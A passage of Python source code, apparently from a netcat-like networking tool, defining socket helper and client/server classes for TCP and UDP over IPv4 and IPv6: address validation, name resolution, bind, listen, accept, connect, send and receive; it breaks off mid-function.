    # --------------------------------------------------------------------------
    # Static methods
    # --------------------------------------------------------------------------
    @staticmethod
    def is_ipv6_address(host):
        # type: (str) -> bool
        """Check if a given str is a valid IPv6 address."""
        # TODO: check for link-local addresses (start with: fe80)
        # https://stackoverflow.com/questions/3801701

        # [1/4] socket.inet_pton
        if hasattr(socket, "inet_pton"):
            try:
                socket.inet_pton(socket.AF_INET6, host)
                return True
            except socket.error:
                return False

        # [2/4] optional module: ipaddress
        try:
            addr = unicode(host)  # type: ignore
        except NameError:
            addr = host
        try:
            try:
                ipaddress.IPv6Address(addr)
                return True
            except ipaddress.AddressValueError:
                return False
        except NameError:
            pass

        # [3/4] regex
        # This is a poor mans solution, but we only want to know if it
        # is on the format of IPv6 and not if it is a valid IPv6. The
        # validation will be figured out during connect()
        reg = r"^([a-f0-9]{0,4}:){5}[a-f0-9]{0,4}$"
        if re.match(reg, host):
            return True

        # [4/4] Nope
        return False

    @staticmethod
    def is_ipv4_address(host):
        # type: (str) -> bool
        """Check if a given str is a valid IPv4 address."""
        # [1/5] socket.inet_aton
        if hasattr(socket, "inet_aton"):
            try:
                socket.inet_aton(host)
                return True
            except socket.error:
                return False

        # [2/5] socket.inet_pton
        if hasattr(socket, "inet_pton"):
            try:
                socket.inet_pton(socket.AF_INET, host)
                return True
            except socket.error:
                return False

        # [3/5] optional module: ipaddress
        try:
            addr = unicode(host)  # type: ignore
        except NameError:
            addr = host
        try:
            try:
                ipaddress.IPv4Address(addr)
                return True
            except ipaddress.AddressValueError:
                return False
        except NameError:
            pass

        # [4/5] regex
        # This is a poor mans solution, but we only want to know if it
        # is on the format of IPv4 and not if it is a valid IPv4. The
        # validation will be figured out during connect()
        reg = r"^([0-9]{1,3}\.){3}[0-9]{1,3}$"
        if re.match(reg, host):
            return True

        # [5/5] Nope
        return False

    # --------------------------------------------------------------------------
    # Get functions
    # --------------------------------------------------------------------------
    def get_iptos_by_name(self, name):
        # type: (str) -> int
        """Get IP Type of Service hexadecimal value by name."""
        assert name in self.__IP_TOS
        return self.__IP_TOS[name]

    def get_family_name(self, family):
        # type: (Union[socket.AddressFamily, int]) -> str
        """Returns human readable name of given address family as str."""
        try:
            return self.__AF_HUMAN[int(family)]
        except KeyError:
            self.__log.error(
                "Invalid key for address family: %s (type: %s) (valid: %s)",
                repr(family),
                repr(type(family)),
                repr(self.__AF_HUMAN),
            )
            return "unknown"

    def get_type_name(self, sock_type):
        # type: (int) -> str
        """Returns human readable name of given socket type as str."""
        try:
            return self.__ST_HUMAN[int(sock_type)]
        except KeyError:
            self.__log.error(
                "Invalid key for address sock_type: %s (type: %s) (valid: %s)",
                repr(sock_type),
                repr(type(sock_type)),
                repr(self.__ST_HUMAN),
            )
            return "unknown"

    def get_sock_opts(self, sock, opts):
        # type: (Sock, socket.socket, Optional[str]) -> List[str]
        """Debug logs configured socket options."""
        if opts is None:
            return []
        assert opts in ["all", "sock", "ipv4", "ipv6", "tcp"], "Value: {}".format(repr(opts))
        info = []
        for proto, optnames in self.__SOCK_OPTS.items():
            if opts == "all" or proto.lower() == opts:
                for optname in optnames:
                    if proto.lower() == "sock":
                        level = socket.SOL_SOCKET
                    elif proto.lower() == "ipv4":
                        level = socket.IPPROTO_IP
                    elif proto.lower() == "ipv6":
                        level = socket.IPPROTO_IPV6
                    elif proto.lower() == "tcp":
                        level = socket.IPPROTO_TCP
                    try:
                        info.append(
                            "{}: {}: {}".format(
                                proto,
                                optname,
                                sock.getsockopt(
                                    level, eval("socket." + optname)  # pylint: disable=eval-used
                                ),
                            )
                        )
                    except AttributeError:
                        pass
                    except (OSError, socket.error):
                        pass
        return info

    def gethostbyname(self, host, family, resolvedns):
        # type: (Sock, Optional[str], Union[socket.AddressFamily, int], bool) -> str
        """Translate hostname into a IP address for a given address family.

        Args:
            host (str): The hostname to resolvea.
            family (socket.family): IPv4 or IPv6 family

        Returns:
            str: Numeric IP address.

        Raises:
            socket.gaierror: If hostname cannot be resolved.
        """
        socktype = 0
        proto = 0
        flags = 0
        port = None
        family = int(family)

        # [1/4] Wildcard without host
        if host is None:
            if family == int(socket.AF_INET):
                self.__log.debug("Resolving IPv4 name not required, using wildcard: 0.0.0.0")
                return "0.0.0.0"
            if family == int(socket.AF_INET6):
                self.__log.debug("Resolving IPv6 name not required, using wildcard: ::")
                return "::"
        assert host is not None

        # [2/4] Already an IP address
        if family == int(socket.AF_INET6):
            if Sock.is_ipv6_address(host):
                self.__log.debug("Resolving IPv6 name not required, already an IP: %s", host)
                return host
            # Map IPv4 address to IPv6
            host6 = "::ffff:" + host
            if Sock.is_ipv6_address(host6):
                self.__log.debug("Resolving IPv4 name not required, changing to IPv6: %s", host6)
                return host6
        elif family == int(socket.AF_INET):
            if Sock.is_ipv4_address(host):
                self.__log.debug("Resolving IPv4 host not required, already an IP: %s", host)
                return host

        # [3/4] Do we disable DNS resolution?
        if not resolvedns:
            flags = socket.AI_NUMERICHOST

        # [4/4] Resolve
        try:
            infos = socket.getaddrinfo(host, port, family, socktype, proto, flags)
            addr = str(infos[0][4][0])
            self.__log.debug("Resolved %s host: %s", self.get_family_name(family), addr)
            return addr
        except (AttributeError, socket.gaierror) as error:
            msg = "Resolving {} host: {} failed: {}".format(
                self.get_family_name(family), str(host), str(error)
            )
            self.__log.debug(msg)
            raise socket.gaierror(msg)  # type: ignore

    # --------------------------------------------------------------------------
    # Create functions
    # --------------------------------------------------------------------------
    def create_socket(self, family, sock_type, reuse_addr, ip_tos_name=None):
        # type: (Union[socket.AddressFamily, int], int, bool, Optional[str]) -> socket.socket
        """Create TCP or UDP socket.

        Args:
            family (socket.family): The address family for which to create the socket for.
            sock_type (int): The socket type: socket.SOCK_DGRAM or socket.SOCK_STREAM
            reuse_addr (bool): Set SO_REUSEADDR on the socket.
            ip_tos_name (str): Optional IP type of service value to apply to socket

        Returns:
            socket.socket: Returns TCP or UDP socket for the given address family.

        Raises:
            socket.error: If socket cannot be created.
        """
        assert int(sock_type) in [int(socket.SOCK_DGRAM), int(socket.SOCK_STREAM)]
        try:
            if int(sock_type) == int(socket.SOCK_DGRAM):
                self.__log.debug(
                    "Creating (family %d/%s, UDP) socket", int(family), self.get_family_name(family)
                )
                sock = socket.socket(family, socket.SOCK_DGRAM)
            else:
                self.__log.debug(
                    "Creating (family %d/%s, TCP) socket", int(family), self.get_family_name(family)
                )
                sock = socket.socket(family, socket.SOCK_STREAM)
        except socket.error as error:
            msg = "Creating (family {}/{}, {}) socket failed: {}".format(
                int(family), self.get_family_name(family), self.get_type_name(sock_type), error
            )
            self.__log.debug(msg)
            raise socket.error(msg)

        if family == socket.AF_INET6:
            # On Linux, IPv6 sockets accept IPv4 too by default, but this makes
            # it impossible to bind to both 0.0.0.0 in IPv4 and :: in IPv6.
            # On other systems, separate sockets *must* be used to listen for
            # both IPv4 and IPv6. For consistency, always disable IPv4 on our
            # IPv6 sockets and use a separate ipv4 socket when needed.
            #
            # Python 2.x on windows doesn't have IPPROTO_IPV6.
            if hasattr(socket, "IPPROTO_IPV6"):
                self.__log.debug(
                    "Disabling IPv4 support on %s socket", self.get_family_name(family)
                )
                sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 1)

        # Get around the "[Errno 98] Address already in use" error, if the socket is still in wait
        # we instruct it to reuse the address anyway.
        if reuse_addr:
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        # If requested, set IP Type of Service value for current socket
        if ip_tos_name is not None:
            ip_tos_val = self.get_iptos_by_name(ip_tos_name)
            self.__log.debug("Setting IP_TOS to: %d (%s)", ip_tos_val, ip_tos_name)
            sock.setsockopt(socket.IPPROTO_IP, socket.IP_TOS, ip_tos_val)
        # All done, return it to the requestor
        return sock

    def bind(self, sock, addr, port):
        # type: (socket.socket, str, int) -> None
        """Bind the socket to an address.

        Args:
            sock (socket.socket): The socket to bind.
            addr (str): The numerical IP address to bind to.
            port (int): The port to bind to.

        Raises:
            socket.error if socket cannot be bound.
        """
        sock_family_name = self.get_family_name(sock.family)
        sock_type_name = self.get_type_name(sock.type)
        self.__log.debug(
            "Binding (family %d/%s, %s) socket to %s:%d",
            int(sock.family),
            sock_family_name,
            sock_type_name,
            addr,
            port,
        )
        try:
            sock.bind((addr, port))
        except (OverflowError, OSError, socket.gaierror, socket.error) as error:
            msg = "Binding (family {}/{}, {}) socket to {}:{} failed: {}".format(
                sock.family, sock_family_name, sock_type_name, addr, port, error
            )
            raise socket.error(msg)

    def listen(self, sock, backlog):
        # type: (socket.socket, int) -> None
        """Listen for connections made to the socket.

        Args:
            sock (socket.socket): The socket to listen on.
            backlog (int): Listen backlog

        Raises:
            socket.error: If listening fails.
        """
        try:
            self.__log.debug("Listening with backlog=%d", backlog)
            sock.listen(backlog)
        except socket.error as error:
            msg = "Listening failed: {}".format(error)
            self.__log.error(msg)
            raise socket.error(msg)

    def accept(
        self,
        sockets,  # type: List[socket.socket]
        has_quit,  # type: Callable[[], bool]
        select_timeout=0.01,  # type: float
    ):
        # type: (...) -> Tuple[socket.socket, Tuple[str, int]]
        """Accept a single connection from given list of sockets.

        Given sockets must be bound to an addr and listening for connections.

        Args:
            sock ([socket.socket]): List of sockets IPv4 and/or IPv6 to accept on.
            has_quit (Callable[[], bool]): A function that returns True if abort is requested.
            select_timeout (float): Timeout to poll sockets for connected clients.

        Returns:
            (socket.socket, str, int): Returns tuple of socket, address and port of client.

        Raises:
            socket.error: Raised if server cannot accept connection or stop signal is requested.
        """
        self.__log.debug("Waiting for TCP client")
        while True:
            try:
                ssockets = select.select(sockets, [], [], select_timeout)[
                    0
                ]  # type: List[socket.socket]
            except select.error as err:
                raise socket.error(err)
            if has_quit():
                raise socket.error("SOCK-QUIT signal ACK for accept(): raised socket.error()")
            for sock in ssockets:
                try:
                    conn, addr = sock.accept()
                except (socket.gaierror, socket.error) as error:
                    msg = "Accept failed: {}".format(error)
                    self.__log.error(msg)
                    raise socket.error(msg)
                self.__log.info(
                    "Client connected from %s:%d (family %d/%s, TCP)",
                    addr[0],
                    addr[1],
                    int(conn.family),
                    self.get_family_name(conn.family),
                )
                return conn, (addr[0], addr[1])

    def connect(
        self,
        sock,  # type: socket.socket
        addr,  # type: str
        port,  # type: int
        src_addr=None,  # type: Optional[str]
        src_port=None,  # type: Optional[int]
        udp_sconnect=False,  # type: bool
        udp_send_payload=b"",  # type: bytes
        udp_recv_bufsize=8192,  # type: int
        udp_recv_timeout=0.1,  # type: float
    ):
        # type: (...) -> Tuple[str, int]
        """Connect to a remote socket at given address and port.

        Args:
            sock (socket.socket): The socket to use for connecting/communication.
            addr (str): Numerical IP address of server to connect to.
            port (int): Port of server to connect to.

        Returns:
            Tuple[str,int]: Adress/port tuple of local bind of the client.

        Raises:
            socker.error: If client cannot connect to remote peer or custom bind did not succeed.
        """
        try:
            # If the socket was already closed elsewhere, it won't have family or type anymore
            sock_family_name = self.get_family_name(sock.family)
            sock_type_name = self.get_type_name(sock.type)
        except AttributeError as error:
            raise socket.error(error)

        # Bind to a custom addr/port
        if src_addr is not None and src_port is not None:
            try:
                self.__log.debug("Binding specifically to %s:%d", src_addr, src_port)
                self.bind(sock, src_addr, src_port)
            except socket.error as error:
                raise socket.error(error)
        try:
            self.__log.debug(
                "Connecting to %s:%d (family %d/%s, %s)",
                addr,
                port,
                int(sock.family),
                sock_family_name,
                sock_type_name,
            )

            # Ensure to use connect() protocol independent
            info = socket.getaddrinfo(addr, port, sock.family, sock.type, sock.proto)
            sock.connect(info[0][4])

            # UDP stateful connect
            # A UDP client doesn't know if the connect() was successful, so the trick
            # is to send an empty packet and see if an exception is triggered during
            # receive or simply a timeout (which means success).
            if udp_sconnect and int(sock.type) == int(socket.SOCK_DGRAM):
                assert type(udp_send_payload) is bytes
                assert type(udp_recv_bufsize) is int
                # Some applications like netcat do not like to receive empty
                # data, as they treat it as an EOF and will quit upon receive,
                # so we're using a nullbyte character instead.
                self.__log.debug(
                    "Trying to send %d bytes (%s) for UDP stateful connect",
                    len(udp_send_payload),
                    repr(udp_send_payload),
                )
                sock.send(udp_send_payload)
                sock.settimeout(udp_recv_timeout)
                try:
                    sock.recv(udp_recv_bufsize)
                except socket.timeout:
                    pass
                finally:
                    sock.settimeout(0)

        except (OSError, socket.error) as error:
            msg = "Connecting to {}:{} (family {}/{}, {}) failed: {}".format(
                addr,
                port,
                sock.family,
                sock_family_name,
                sock_type_name,
                error,
            )
            raise socket.error(msg)

        local = sock.getsockname()
        self.__log.debug(
            "Connected from %s:%d",
            local[0],
            local[1],
        )
        self.__log.info(
            "Connected to %s:%d (family %d/%s, %s)",
            addr,
            port,
            int(sock.family),
            sock_family_name,
            sock_type_name,
        )
        return (local[0], local[1])

    # --------------------------------------------------------------------------
    # Destroy functions
    # --------------------------------------------------------------------------
    def shutdown_recv(self, sock, name):
        # type: (socket.socket, str) -> None
        """Shuts down a socket for receiving data (only allow to send data).

        Args:
            name (str): Name of the socket used for logging purposes.
            sock (str): Socket to shutdown for receive.
        """
        try:
            # (SHUT_RD)   0 = Done receiving (disallows receiving)
            # (SHUT_WR)   1 = Done sending (disallows sending)
            # (SHUT_RDWR) 2 = Both
            self.__log.trace("Shutting down %s socket for receiving", name)  # type: ignore
            sock.shutdown(socket.SHUT_RD)
        except (OSError, socket.error):
            # We do not log errors here, as unconnected sockets cannot
            # be shutdown and we want to throw any socket at this function.
            pass

    def shutdown_send(self, sock, name):
        # type: (socket.socket, str) -> None
        """Shuts down a socket for sending data (only allow to receive data).

        Args:
            name (str): Name of the socket used for logging purposes.
            sock (str): Socket to shutdown for send.
        """
        try:
            # (SHUT_RD)   0 = Done receiving (disallows receiving)
            # (SHUT_WR)   1 = Done sending (disallows sending)
            # (SHUT_RDWR) 2 = Both
            self.__log.trace("Shutting down %s socket for sending", name)  # type: ignore
            sock.shutdown(socket.SHUT_WR)
        except (OSError, socket.error):
            # We do not log errors here, as unconnected sockets cannot
            # be shutdown and we want to throw any socket at this function.
            pass

    def close(self, sock, name):  # pylint: disable=unused-argument,no-self-use
        # type: (socket.socket, str) -> None
        """Shuts down and closes a socket.

        Args:
            sock (socket.socket): Socket to shutdown and close.
            name (str): Name of the socket used for logging purposes.
        """
        # NOTE: Logging is removed here as this is too much overhead when using
        # the port scanner (it will have thousands of threads and too many
        # calls to the logger which will cause issues with its shutdown
        # and a massive performance degrade as well.
        try:
            # (SHUT_RD)   0 = Done receiving (disallows receiving)
            # (SHUT_WR)   1 = Done sending (disallows sending)
            # (SHUT_RDWR) 2 = Both
            # self.__log.trace("Shutting down %s socket", name)  # type: ignore
            sock.shutdown(socket.SHUT_RDWR)
        except (OSError, socket.error):
            # We do not log errors here, as unconnected sockets cannot
            # be shutdown and we want to throw any socket at this function.
            pass
        try:
            # self.__log.trace("Closing %s socket", name)  # type: ignore
            sock.close()
        except (OSError, socket.error):
            pass
            # self.__log.trace("Could not close %s socket: %s", name, error)  # type: ignore


class Net(object):
    """Provides an abstracted server client socket for TCP and UDP."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, encoder, ssig, options):
        # type: (StringEncoder, InterruptHandler, DsSock) -> None
        """Instantiate Sock class.

        Args:
            encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat).
            ssig (InterruptHandler): Used to stop blocking loops.
            options (DsSock): Instance of DsSock.
        """
        self.__log = logging.getLogger(__name__)  # type: logging.Logger
        self.__enc = encoder
        self.__ssig = ssig
        self.__options = options
        self.__sock = Sock()

        # Set families to listen on or connect to
        # Using a list here to ensure IPv6 will always come first
        if self.__options.ipv6:
            self.__families = [int(socket.AF_INET6)]
        elif self.__options.ipv4:
            self.__families = [int(socket.AF_INET)]
        else:
            self.__families = [
                int(socket.AF_INET6),
                int(socket.AF_INET),
            ]

        # The connection dictionary.
        # A dictionary is necessary, as we can have multiple entries for
        # IPv4 and IPv6 when using UDP in server mode.
        #
        # 1.) If the UDP server wants to send data to an UDP client,
        # it must first wait for the client to send data to get to know
        # it's IP address (we're not using connect() for UDP here).
        # 2.) As we allow IPv4 and IPv6 listening at the same time,
        # we must maintain both entries in that list, until the
        # UDP client has connected.
        # Once the UDP client has connected, all unconnected entries
        # will be removed and the protocol has been determined.
        # {
        #   <socket.family>:
        #     {
        #       "sock": socket.socket,      # <-- bind socket if server
        #       "conn": socket.socket,      # <-- send/recv socket
        #       "local_host": <hostname>,   # <-- (server only) hostname or ip address for binding
        #       "local_addr": <ip-addr>,    # <-- (server only) ip address for binding
        #       "local_port": <port>,       # <-- (server only) port for binding
        #       "remote_host": <hostname>,  # <-- hostname or ip address of remote end
        #       "remote_addr": <ip-addr>,   # <-- numerical ip address of remote end
        #       "remote_port": <port>,      # <-- port of remote end
        #     },
        # }
        self.__conns = {}  # type: Dict[int, SockConn]

        # The self.__conns dictionary can hold two entries: IPv4 and IPv6.
        # In client mode after successful connect, the unused entry is dropped.
        # In server mode we keep entries for TCP/re-accept() or UDP/connect.
        #
        # That would mean for send/recv functions in server mode, we would
        # always have to loop around entries in self.__conns. To avoid this
        # we keep track of the currently active connection in self.__active
        # and only use this,
        # {
        #    "af": socket.family,        # <-- the used socket family
        #    "conn": socket.socket,      # <-- send/recv socket
        #    "remote_addr": <ip-addr>,   # <-- numerical ip address of remote end
        #    "remote_port": <port>,      # <-- port of remote end
        # }
        self.__active = {}  # type: SockActive

        self.__udp_mode_server = False  # type: bool

    # --------------------------------------------------------------------------
    # Public Send / Receive Functions
    # --------------------------------------------------------------------------
    def send_eof(self):
        # type: () -> None
        """Close the active socket for sending. The remote part will get an EOF."""
        self.__sock.shutdown_send(self.__active["conn"], "conn")

    def send(self, data):
        # type: (bytes) -> int
        """Send data through a connected (TCP) or unconnected (UDP) socket.

        Args:
            data (bytes): The data to send.

        Returns:
            int: Returns total bytes sent.

        Raises:
            socket.error:   Except here when unconnected or connection was forcibly closed.
        """
        # UDP has some specialities as its socket is unconnected.
        # See also recv() for specialities on that side.

        # In case of sending data to an UDP client, we need to initially wait
        # until the client has first connected and told us its addr/port.
        if self.__udp_mode_server:
            # self.__active will be set in recv() by another thread
            if not self.__active:
                self.__log.warning("UDP client has not yet connected. Queueing message")
                while not self.__active:
                    if self.__ssig.has_sock_quit():
                        self.__log.trace(  # type: ignore
                            "SOCK-QUIT signal ACK in Net.send (while waiting for UDP client)"
                        )
                        return -1
                    time.sleep(0.01)

        curr = 0  # bytes send during one loop iteration
        send = 0  # total bytes send
        size = len(data)  # bytes of data that needs to be send

        # Loop until all bytes have been send
        while send < size:
            self.__log.debug(
                "Trying to send %d bytes to %s:%d",
                size - send,
                self.__active["remote_addr"],
                self.__active["remote_port"],
            )
            self.__log.trace("Trying to send: %s", repr(data))  # type: ignore
            try:
                # Only UDP server has not made a connect() to the socket, all others
                # are already connected and need to use send() instead of sendto()
                if self.__udp_mode_server:
                    curr = self.__active["conn"].sendto(
                        data, (self.__active["remote_addr"], self.__active["remote_port"])
                    )
                    send += curr
                else:
                    curr = self.__active["conn"].send(data)
                    send += curr
                if curr == 0:
                    self.__log.error("No bytes send during loop round.")
                    return 0
                # Remove 'curr' many bytes from byte for the next round
                data = data[curr:]
                self.__log.debug(
                    "Sent %d bytes to %s:%d (%d bytes remaining)",
                    curr,
                    self.__active["remote_addr"],
                    self.__active["remote_port"],
                    size - send,
                )
            except (IOError, OSError, socket.error) as error:
                msg = "Socket send Error: {}".format(error)
                raise socket.error(msg)
        return send

    def receive(self):
        # type: () -> bytes
        """Receive and return data from the connected (TCP) or unconnected (UDP) socket.

        Returns:
            bytes: Returns received data from connected (TCP) or unconnected (UDP) socket.

        Raises:
            socket.timeout: Except here to do an action when the socket is not busy.
            AttributeError: Except here when current instance has closed itself (Ctrl+c).
            socket.error:   Except here when unconnected or connection was forcibly closed.
            EOFError:       Except here when upstream has closed the connection via EOF.
        """
        # This is required for a UDP server that has no connected clients yet
        # and is waiting for data receival for the first time on either IPv4 or IPv6
        # to finally determine which of those two we're going to use and which
        # of them we will remove after succesfull connect.
        try:
            conns = select.select(
                [self.__conns[af]["conn"] for af in self.__conns if "conn" in self.__conns[af]],
                [],
                [],
                self.__options.recv_timeout,
            )[
                0
            ]  # type: List[socket.socket]
        # E.g.: ValueError: file descriptor cannot be a negative integer (-1)
        except (ValueError, AttributeError) as error:
            msg = "Connection was closed by self: [1]: {}".format(error)
            self.__log.debug(msg)
            raise AttributeError(msg)
        if not conns:
            # This is raised for the calling function to determine what to do
            # between timeouts (e.g.: check signals, etc)
            raise socket.timeout("timed out")  # type: ignore

        # We should always only have one active socket on which we receive data.
        assert len(conns) == 1
        conn = conns[0]  # type: socket.socket
        try:
            # https://manpages.debian.org/buster/manpages-dev/recv.2.en.html
            (data, addr) = conn.recvfrom(self.__options.bufsize)

        # [1/5] When closing itself (e.g.: via Ctrl+c and the socket_close() funcs are called)
        except AttributeError as error:
            msg = "Connection was closed by self: [2]: {}".format(error)
            self.__log.debug(msg)
            raise AttributeError(msg)

        # [2/5] Connection was forcibly closed
        # [Errno 107] Transport endpoint is not connected
        # [Errno 10054] An existing connection was forcibly closed by the remote host
        # [WinError 10054] An existing connection was forcibly closed by the remote host
        except (OSError, socket.error) as error:
            self.__log.debug("Connection error: %s", error)
            raise socket.error(error)

        # [3/5] Upstream (server or client) is gone.
        # In TCP, there is no such thing as an empty message, so zero means a peer disconnect.
        # In UDP, there is no such thing as a peer disconnect, so zero means an empty datagram.
        if not data:
            msg = "EOF: Remote finished sending."
            self.__log.info(msg)
            raise EOFError(msg)

        # [4/5] (UDP Server mode only)
        # 1.) The UDP server is only able to send data, if a client has sent data first,
        # as we do not do a connect() phase for UDP and therefore do not know its remote
        # addr/port before. See send() function for a blocking loop.
        # 2.) Additionally, we will always update its IP/port values to distinguish
        # the same connected client between a new/different connected client.
        if self.__udp_mode_server:
            # UDP client connects for the first time
            if not self.__active:
                self.__log.info(
                    "Client connected: %s:%d (family %d/%s, UDP)",
                    addr[0],
                    addr[1],
                    int(conn.family),
                    self.__sock.get_family_name(conn.family),
                )
            # A different UDP client connects
            elif self.__active["remote_addr"] != addr[0] or self.__active["remote_port"] != addr[1]:
                self.__log.info(
                    "New client connected: %s:%d (family %d/%s, UDP)",
                    addr[0],
                    addr[1],
                    int(conn.family),
                    self.__sock.get_family_name(conn.family),
                )
            # Set currently active UDP connection socket
            self.__active = {
                "af": conn.family,
                "conn": conn,
                "remote_addr": addr[0],
                "remote_port": addr[1],
            }

        # [5/5] We have data to process
        self.__log.debug(
            "Received %d bytes from %s:%d",
            len(data),
            self.__active["remote_addr"],
            self.__active["remote_port"],
        )
        self.__log.trace("Received: %s", repr(data))  # type: ignore
        return data

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def run_client(self, host, port):
        # type: (str, int) -> bool
        """Run and create a TCP or UDP client and connect to a remote peer.

        Args:
            addr (str): Numeric IP address to connect to (ensure to resolve a hostname beforehand).
            port (int): Port of the server to connect to.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        # The connection dictionary.
        conns = {}  # type: Dict[int, SockConn]

        # [1/4] Add sockets to connection dictionary
        succ = 0
        for family in self.__families:
            try:
                conns[family] = {
                    "conn": self.__sock.create_socket(
                        family,
                        socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM,
                        True,
                        self.__options.ip_tos,
                    )
                }
                succ += 1
            except socket.error:
                pass
        if succ == 0:
            return False

        # [2/4] Resolve address
        remove = []
        errors = []
        # NOTE: We're still looping over the initial family list
        # to ensure order: IPv6 before IPv4 (the conn dict does not preserve order)
        for family in self.__families:
            if family in conns:
                try:
                    conns[family]["remote_host"] = host
                    conns[family]["remote_addr"] = self.__sock.gethostbyname(
                        host, family, not self.__options.nodns
                    )
                    conns[family]["remote_port"] = port
                except socket.gaierror as err:
                    remove.append(family)
                    errors.append(str(err))
        for family in remove:
            self.__sock.close(conns[family]["conn"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            for error in errors:
                self.__log.error("Resolve Error: %s", error)
            return False

        # [3/4] Connect
        remove = []
        errors = []
        # NOTE: We're still looping over the initial family list
        # to ensure order: IPv6 before IPv4 (the conn dict does not preserve order)
        for family in self.__families:
            if family in conns:
                try:
                    self.__sock.connect(
                        conns[family]["conn"],
                        conns[family]["remote_addr"],
                        conns[family]["remote_port"],
                        self.__options.src_addr,
                        self.__options.src_port,
                        self.__options.udp_sconnect,
                        self.__enc.encode(self.__options.udp_sconnect_word),
                        self.__options.bufsize,
                    )
                    # On successful connect, we can abandon/remove all other sockets
                    remove = [key for key in conns if key != family]
                    break
                except (OSError, socket.error) as err:
                    remove.append(family)
                    errors.append(str(err))
        for family in remove:
            self.__sock.close(conns[family]["conn"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            for error in errors:
                self.__log.error(error)
            return False

        # [4/4] Store connections and set active connection
        assert len(conns) == 1
        for family in conns:
            self.__active = {
                "af": family,
                "conn": conns[family]["conn"],
                "remote_addr": conns[family]["remote_addr"],
                "remote_port": conns[family]["remote_port"],
            }
        # Store sockets as a list
        self.__conns = conns
        # Print socket info
        for info in self.__sock.get_sock_opts(self.__active["conn"], self.__options.info):
            self.__log.info("[%s] %s", self.__sock.get_family_name(family), info)
        return True

    def run_server(self, host, port):
        # type: (Optional[str], int) -> bool
        # TODO: Integrate: --rebind(-wait|-robin)
        """Run and create a TCP or UDP listening server and wait for a client to connect.

        Args:
            addr (str): Numeric IP address to bind to (ensure to resolve a hostname beforehand).
            port (int): Port of the address to bind to.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        # The connection dictionary.
        conns = {}  # type: Dict[int, SockConn]

        # [1/4] Create socket
        succ = 0
        for family in self.__families:
            try:
                conns[family] = {
                    "sock": self.__sock.create_socket(
                        family,
                        socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM,
                        True,
                        self.__options.ip_tos,
                    )
                }
                succ += 1
            except socket.error as err:
                self.__log.debug(err)
        if succ == 0:
            self.__log.error("Socket Error: Could not create any socket.")
            return False

        # [2/4] Resolve local address
        remove = {}
        for family in conns:
            try:
                conns[family]["local_addr"] = self.__sock.gethostbyname(
                    host, family, not self.__options.nodns
                )
                conns[family]["local_host"] = host
                conns[family]["local_port"] = port
            except socket.gaierror as err:
                remove[family] = str(err)
        for family in remove:
            self.__log.debug(
                "Removing (family %d/%s) due to: %s",
                family,
                self.__sock.get_family_name(family),
                remove[family],
            )
            self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            self.__log.error("Resolve Error: Could not resolve any hostname")
            return False

        # [3/4] Bind socket
        remove = {}
        for family in conns:
            try:
                self.__sock.bind(conns[family]["sock"], conns[family]["local_addr"], port)
            except socket.error as err:
                remove[family] = str(err)
        for family in remove:
            self.__log.debug(
                "Removing (family %d/%s) due to: %s",
                family,
                self.__sock.get_family_name(family),
                remove[family],
            )
            self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            self.__log.error("Bind Error: Could not bind any socket")
            return False

        # [UDP 4/4] There is no listen or accept for UDP
        if self.__options.udp:
            for family in conns:
                conns[family]["conn"] = conns[family]["sock"]
                self.__log.info(
                    "Listening on %s:%d (family %d/%s, UDP)",
                    conns[family]["local_addr"],
                    conns[family]["local_port"],
                    family,
                    self.__sock.get_family_name(family),
                )
            self.__conns = conns
            self.__udp_mode_server = True
            return True

        # [TCP 4/4] Requires listen and accept
        # (1/3) Listen
        remove = {}
        for family in conns:
            try:
                self.__sock.listen(conns[family]["sock"], self.__options.backlog)
                self.__log.info(
                    "Listening on %s:%d (family %d/%s, TCP)",
                    conns[family]["local_addr"],
                    conns[family]["local_port"],
                    family,
                    self.__sock.get_family_name(family),
                )
            except socket.error as err:
                remove[family] = str(err)
        for family in remove:
            self.__log.debug(
                "Removing (family %d/%s) due to: %s",
                family,
                self.__sock.get_family_name(family),
                remove[family],
            )
            self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            self.__log.error("Could not listen on any address")
            return False

        # (2/3) Accept
        remove = {}
        try:
            conn, client = self.__sock.accept(
                [conns[family]["sock"] for family in conns], self.__ssig.has_sock_quit
            )
            conns[conn.family]["conn"] = conn
            conns[conn.family]["remote_addr"] = client[0]
            conns[conn.family]["remote_port"] = client[1]
        except socket.error as err:
            remove = {family: str(err) for family in conns}
        # On error, remove all bind sockets
        for family in remove:
            self.__log.debug(
                "Removing (family %d/%s) due to: %s",
                family,
                self.__sock.get_family_name(family),
                remove[family],
            )
            self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            return False

        # (3/3) Store connections
        for family in conns:
            if "conn" in conns[family]:
                self.__active = {
                    "af": family,
                    "conn": conns[family]["conn"],
                    "remote_addr": conns[family]["remote_addr"],
                    "remote_port": conns[family]["remote_port"],
                }
                for info in self.__sock.get_sock_opts(self.__active["conn"], self.__options.info):
                    self.__log.info("[%s] %s", self.__sock.get_family_name(family), info)
        self.__conns = conns
        return True

    def re_accept_client(self):
        # type: () -> bool
        """Re-accept new clients, if connection is somehow closed or accept did not work.

        Returns:
            bool: Returns `True` on success and `False` and error.
        """
        # [1/3] Close and remove all previous conn sockets
        self.close_conn_sock()
        for family in self.__conns:
            if "conn" in self.__conns[family]:
                del self.__conns[family]["conn"]

        # [2/3] Accept
        try:
            conn, client = self.__sock.accept(
                [self.__conns[family]["sock"] for family in self.__conns], self.__ssig.has_sock_quit
            )
        except socket.error:
            return False
        self.__conns[conn.family]["conn"] = conn
        self.__conns[conn.family]["remote_addr"] = client[0]
        self.__conns[conn.family]["remote_port"] = client[1]

        # Update active connection socket
